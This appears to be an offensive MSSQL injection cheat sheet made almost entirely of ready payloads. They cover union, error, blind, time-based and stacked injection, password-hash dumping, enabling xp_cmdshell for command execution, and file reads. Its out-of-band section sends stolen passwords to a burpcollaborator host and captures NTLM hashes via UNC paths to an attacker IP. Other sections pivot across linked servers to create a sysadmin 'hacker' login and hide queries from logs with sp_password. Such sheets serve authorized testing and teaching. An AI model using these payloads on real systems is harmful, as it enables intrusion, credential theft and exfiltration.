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MSSQL Injection

Summary

MSSQL Default Databases

Name Description
pubs Not available on MSSQL 2005
model Available in all versions
msdb Available in all versions
tempdb Available in all versions
northwind Available in all versions
information_schema Availalble from MSSQL 2000 and higher

MSSQL Comments

Type Description
/* MSSQL Comment */ C-style comment
-- - SQL comment
;%00 Null byte

MSSQL User

SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;

MSSQL Version

SELECT @@version

MSSQL Hostname

SELECT HOST_NAME()
SELECT @@hostname
SELECT @@SERVERNAME
SELECT SERVERPROPERTY('productversion')
SELECT SERVERPROPERTY('productlevel')
SELECT SERVERPROPERTY('edition');

MSSQL Database name

SELECT DB_NAME()

MSSQL Database Credentials

  • MSSQL 2000: Hashcat mode 131: 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 
    SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
-- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
  • MSSQL 2005: Hashcat mode 132: 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe 
    SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

MSSQL List databases

SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb   (Only works in MSSQL 2017+)

MSSQL List columns

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns

MSSQL List tables

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)

MSSQL Union Based

-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

-- Finally extract the data
$ SELECT  UserId, UserName from Users

MSSQL Error based

For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs   : ' + convert(int,@@version) + '
For string inputs   : ' + cast((SELECT @@version) as int) + '

MSSQL Blind based

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL Time based

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

MSSQL Stacked Query

  • Without any statement terminator 

    -- multiple SELECT statements
SELECT 'A'SELECT 'B'SELECT 'C'

-- updating password with a stacked query
SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--

-- using the stacked query to enable xp_cmdshell
-- you won't have the output of the query, redirect it to a file 
SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

  • Use a semi-colon ";" to add another query 

    ProductID=1; DROP members--

MSSQL Read file

Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

MSSQL Command execution

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

To interact with the MSSQL instance.

sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758

Execute Python script

Executed by a different user than the one using xp_cmdshell to execute commands

#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

MSSQL Out of band

MSSQL DNS exfiltration

Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1

# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))

MSSQL UNC Path

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.

1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 

xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

MSSQL Make user DBA (DB admin)

EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

The links between databases work even across forest trusts.

msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio

Manual exploitation

-- find link
select * from master..sysservers

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

List permissions

Listing effective permissions of current user on the server.

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

Listing effective permissions of current user on the database.

SELECT * FROM fn_my_permissions (NULL, 'DATABASE');

Listing effective permissions of current user on a view.

SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;

Check if current user is a member of the specified server role.

-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');

MSSQL OPSEC

Use SP_PASSWORD in a query to hide from the logs like : ' AND 1=1--sp_password

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

References